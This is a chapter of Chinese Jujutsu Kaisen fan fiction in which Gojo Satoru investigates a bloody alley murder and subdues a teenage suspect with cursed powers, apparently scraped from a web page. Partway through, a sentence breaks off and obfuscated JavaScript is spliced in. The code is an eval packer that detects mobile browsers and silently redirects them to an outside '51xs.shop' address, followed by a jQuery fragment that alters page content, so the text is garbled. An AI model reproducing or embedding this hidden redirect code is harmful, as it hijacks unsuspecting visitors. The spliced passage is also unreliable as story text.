巷子里的灯坏了。
路过的人朝里看只能看到一片漆黑。
这是个适合抛尸的地方,也的确藏了一具尸体。
粘稠的血自尸体上一滴一滴坠落,染红了黑灰的水泥地面,融进垃圾堆里流出的臭水,缓缓汇入排水渠中。
闪电划过天空,照亮了倒映在水面中的半张脸。
一对深紫色的瞳在水中一闪而过,有如黑暗中燃起的森森鬼火。
那恶鬼对着空巷低语。
“滚。”
在深海般的寂静中,巨大的羽翅一节节地舒展开,强劲的气流驱散了巷子里的臭味和血腥味。
“别再回来了。”
*
“死者姓名七月太一,死亡时间为3月23日万18点至24点之间,死者身体表面有7道0.7米至1.4米间的伤口,案发当时在下雨,犯人没有留下多少痕迹。”
隶属于‘窗’的辅助监督新井明,一边开车一边向后座的客人讲解任务情况。
后座上,白发蓝眼的男子翘着腿,正一心二用,边敲打着手机,边听取新井明的报告。
“警方接到报案后,立刻对现场进行了封锁,现场没有发现凶器。根据法医对刀口伤害的鉴定,凶器为21把长度形状各不相同的尖锐利器,每个伤口推断出的发力方式也存在冲突,凶手右手持刀、左手持刀、死者自杀等情况都可能存在。”
说到这,新井明停了一下,似乎也察觉到这些自我矛盾的陈述没有讲解的必要,索性跳过了这一段。
“后续的一系列调查也存在多处与常理相悖的结论,案件于一天前移交给了窗,我们对此展开了初步排查,虽然时间过去了几天,但案发现场确实检测到了残留的咒力,推测为拥有切割类术式的诅咒师。”
新井明神情严肃。
“判断等级为,一级。”
“所以才会麻烦五条先生跑这一趟。”
五条悟吹了个口哨,蓝色眼睛中亮起感兴趣的光彩。
汽车平稳地行驶着,周边的街景越发破败,咒灵的浓度也高了起来。
被黑黄警戒线围起来的小巷看上去再普通不过,道路的尽头是一堵砌死的墙,巷子里堆满了周边人家的杂物,巷口是一处小小的垃圾收集点,因为发生了命案,出于保护现场的需要,本应收走的垃圾就一直留在原地,散发出发酵有机物的臭味。
五条悟站在巷子外,对着泼洒了半面墙的血迹啧啧称奇。
“这种程度的出血量,是把身上的大动脉全割开了吧,凶手的喜好还真是变态。”
昏暗的巷子里,残留的浓郁咒力遮天蔽日,地面、墙体、杂物、垃圾,都被盖上一层暗红的血色。
新井明站在巷子外,远远地看了一眼,就不忍直视地转过头。她深吸一口气,翻开报告书。
“我们对比了现场的咒力残秽与已知的诅咒师信息,并没有发现吻合,后续录入咒力特征后,还将进一步……”
“诅咒师吗”,五条悟打断了她的陈述,“不一定哦。”
新井明顿了一下,“可是,一般的咒灵并不会离开诞生地太远,我们在附近搜寻过了,并没有发现这种级别的强大咒灵。”
“嗯”,五条悟捏着下巴,“确实,很奇怪呢。”
他扭头问新井明,“有更多的资料吗?”
“咒力残秽吗?”
“不是啦”,五条悟摆摆手,“死者,我想确认一下他生前的行踪。”
“七月太一吗,他是无业游民,偶尔会给附近的黑/帮跑腿赚点生活费,沉迷赌博,妻子在十年前离开了他,只有一个十五岁的女儿跟他一起生活。死亡当天,他跟一群人催完债后,照常进了柏青哥店,玩到深夜,又进了居酒屋喝酒,他的酒友作证他喝完酒就回家了,”
黑/帮,被催债人、酒友、女儿,五条悟摸了摸下巴,哪一个才是关键呢?
“说说你们的调查结果。”
“死者日常来往的都是普通人,没有发现咒术师的痕迹。黑/帮对七月太一态度不屑,杀人动机较弱;被催债人性格懦弱,家庭负担沉重,不排除冲动杀人的可能;酒友与七月太一感情淡漠,彼此间存在着借贷关系;女儿……”
新井明突然迟疑了一下,五条悟饶有兴致地转过头来问她,“女儿怎么了?”
“女儿与七月太一关系恶劣,考虑到七月太一的家暴行为以及长期未尽到抚养义务的举动,女儿的杀人动机最为强烈。”
“名字?”
“七月净火。”
“带我去见见她。她的家庭住址应该在附近吧?毕竟七月太一是在回家路上被杀的。”
“那个”,新井明犹豫着,“春假之后,她就一直没回家,根据邻居们的证词,她不上学的时间都在歌舞伎町打工,而且‘窗’调查的时候没在她身上发现术式的痕迹。”
五条悟挑了挑眉,“真稀奇,你居然会为嫌疑人辩护。”
新井明神色有些尴尬,“不,我只是觉得她才刚刚失去最后一个亲人,有点可怜,没有包庇的意思。我已经查清她的工作地点了,马上就可以找到她。”
“诶,十五岁就开始打工了啊”,五条悟心不在焉地感叹了一声,眼睛却始终注视着巷内的一个角落。他跨过警戒线,走向那个角落,从地上捡起一根沾了血的羽毛,很是稀奇地打量了半响,顺手装入兜里,“那还等什么呢?”
新井明叹气,认命地带路,脑中却不由得回忆起了那个冷漠的女孩。
她和七月净火只见过一面,那个孩子有着锐利坚硬的外壳,在外人看来个性应当说是十分恶劣,但交谈间又能感受到那坚硬外壳下的柔软,一个坏孩子不可能拥有那样沉静的双眸。
希望接下来的谈话能一切顺利。
她领着五条悟在楼宇间穿行。破旧的建筑物围堵着狭窄的过道,天空也被黑色的电线分割的横七竖八,白天的歌舞伎町失去了霓虹灯的照射,显得格外冷清。
就在他们即将到达目的地时,新井明站住脚步,五条悟不解,顺着她的目光看去。
在他们的右方,一个高挑纤细的少年安静地从过道中走出,脚步很轻,深紫的双眸在昏暗的街景中如盏盏鬼火,缀在那张消瘦苍白的脸上,叫人凭空生出几分凉意。但若仔细打量,她又和一般的国中生没什么两样,留到脖颈处的微卷黑色短发,白色卫衣黑色长裤,洗到发白的旧挎包,咒力和普通人一样,微弱得几不可查。
原来如此,五条悟懂了。
“哟,你就是七月净火吧?”
他单手插兜,和七月净火打了个招呼。
她却毫无反应,脚下仍以之前的频率匀速前进,每一步仿佛用尺量出,不多不少。
“喂——听得到吗”,五条悟动作夸张起来,伸手在七月净火眼前晃了晃。
“我没钱,讨债的话,去地狱对那个赌鬼说吧。”
她略微弯腰,从五条悟手臂下穿过,眼神古井无波。
该说这孩子已经对生活麻木了呢,还是对他们抱有十足的戒心呢?新井明也分辨不出,她定了定心,主动打招呼。
“七月同学,你好,我们是为了调查你父亲死亡的案件而来的。”
七月净火终于停下脚步,浓密睫毛下投来一束目光,古井中坠入的一颗石头唤起了一阵阵的涟漪。
“我记得你”,她声音略微沙哑,带着很久没和人说话的不熟练感,“你昨天也来了。”
“是的,但是我们今天请到的调查专家对于这个案件还有一点疑惑,能麻烦你配合我们,回答下几个问题吗?”
五条悟笑着指指自己,“没错,就是我哦。”
七月净火转身,终于给了五条悟一个正眼。
过于刺眼的白发、用绷带蒙住的眼睛、奇奇怪怪的语言和举动,这就是新来的调查专家?甚至都不愿编个好点的借口啊。
她垂下眼,“想知道什么就问吧,时间短一点,我要迟到了。”
“嗯嗯”,五条悟合上了掌,很高兴的样子,“愿意配合真是再好不过了,那我就直说了吧。”
“七月太一是你杀的吗?”
哈啊——
新井明猛地回头,震惊地看向五条悟,心内一瞬间闪过无数条吐槽,【这么直接吗?审讯也要有个基本法吧?您完全不读空气的吗?对着新丧父的JK说这些,你是魔鬼吗?】
七月净火倒是没什么反应,她掏出翻盖手机,啪嗒啪嗒地按了一通键位,快速地编辑并发送了一条短信。
“那是什么?”,五条悟好奇发问。
“请假条”,七月净火利落地收回手机,“看来我是非迟到不可了。”
“继续说吧,为什么认为是我杀了他。现场没有凶器、没有足迹,昨天警察也搜查过我家了,没有找到可疑的证据吧。”
“简直是完美犯案呢。只可惜我们查案并不靠证据”,五条悟右手打了个响指。
幽蓝的咒力从他右手升起,在他的手指上缠绕、沸腾。
“靠咒力。”
七月净火维持着无表情的状态,下颌却已然紧绷起来。
“我不知道你在说什么。”
五条悟将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294176|152139||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
两根手指在七月净火眼前晃来晃去,“真的看不到吗?”
七月净火不为所动,“可以请您不要在我面前做奇怪的动作吗?”
“嗯嗯,意志很坚定嘛。”
窸窣的声音响起,一个齐刘海女生拉开了二楼的窗帘,走到阳台上,正看到了七月净火被高大男子拦住去路的一幕。
“净火?”她看了看七月,又看了看拦在七月面前的五条悟,突然肉眼可见地紧张起来,“怎么了?还不进来吗?店长最近脾气不好哦。”
她声音发着颤,却没有退缩,目光中藏着满满的担心,“我去叫一哥接你。”
五条悟抬头,对着她伸出手,两指一弹。
咒力如刀,急速飞驰。
七月净火双瞳紧缩,脚一蹬地面,飞身拦下了这记攻击。
落地的瞬间,她才反应过来,脸上也露出懊恼之色。
“净、净火?没事吧?”齐刘海吓了一跳。
“我没事”,七月净火拍打着身上的灰尘,朝齐刘海笑了笑,“没事的,他们都不是坏人,只是有点事找我,我提前跟店长请了假,今天晚上你要多忙了,抱歉。”
“真的没事吗……”
“嗯,你快回去吧,小心店长骂人。”
注视着齐刘海退到窗帘后,七月净火轻轻叹气。
“现在说不是我杀的你们也不会信吧。”
“谁知道呢?你这不是看得到咒力吗?刚才装得还挺像的”,五条悟得意一笑,“把你的咒力放出来看看。”
新井明在一旁适时补充:“不用担心,七月同学,不同咒术师的咒力痕迹不同,只要和现场留下的咒力残秽不一样,我们不会冤枉好人的。”
“是吗”,七月净火垂下眼帘,似乎在思考,她缓缓卸下肩上的挎包。
“很遗憾,完全一致。”
七月的动作还是那么轻。
中指与拇指相抵,竖食指,结期克印。降魔除恶,服食金刚无上智慧之果。
“躲开!”
一切转瞬即逝,新井明甚至没反应过来发生了什么,就被五条悟一把推开。她一头撞上墙面,世间一切好像被按下慢放键,她就在这24帧的影像中一格一格地回头看去。
挎包高高地挂在天空中,七月净火背过身迈出了逃跑的第一步,五条悟立在原地,周身咒力潮水般涨落。
他抬起手,摸上额头,拭去了创口处渗出的血珠。
新井明看着那抹血迹,不敢相信自己的眼睛。
骗人的吧,那个无敌的五条悟……
受伤了?
“不错嘛”,五条悟嘴角的笑容却越发明显。
只是空间的一瞬错乱,五条悟瞬移到七月净火身前。
干净利落地砍晕了她。
晕倒前,七月净火瞪大了眼睛,注视着只擦破了皮的五条悟,心下震惊。
怪物吗,居然只是擦破了皮。
新井明扶着墙站立起来,仍然心有余悸,以截然相反的角度与七月净火达成了共鸣。
能够伤到拥有无下限术式的五条悟,七月同学,你才是那个真正的怪物啊。
“你还好吗?”
新井明站直了身体,晃了晃脑袋,“不,没事,只是额头磕了一个包。抱歉,五条先生,是我们‘窗’的工作失误,排查时完全略过了七月净火。”
她看着五条悟,“另外,也非常感谢您刚才能伸出援手。”
“啊”,五条悟低声地笑,摆了摆手。
“那个不用道谢啦,是我先出手攻击了七月净火的朋友,她才会袭击你的吧。”
“真是要强的个性,自己朋友被威胁了就要反过来威胁别人的朋友一次。”
五条悟嘴上说着麻烦,眼里兴致盎然的意味却越来越浓。
新井明低头看着七月净火,闭上眼的她完全看不出刚才的气势,软乎乎的脸颊肉看起来十分乖巧。只有在睡着的时候,她才能卸下那层厚厚的防护壳吧。
抛弃、赌博、暴力,是这个女孩子前半生的关键词。也或许会成为她这一生最后的注脚。
“五条先生,她会被判处死刑吗?”
五条悟没有立刻回答,他反问新井明,语气一反常态的正经。
“你呢?你希望她被判处死刑吗?”
“如果是她杀了七月太一的话”,新井明顿了一下,“我大概可以理解原因。不过说到底,我的意见并不重要,总监部不可能放过她。”
五条悟单手拎起七月净火的衣领,意味深长地看了眼自己手上的血迹,“谁知道呢。”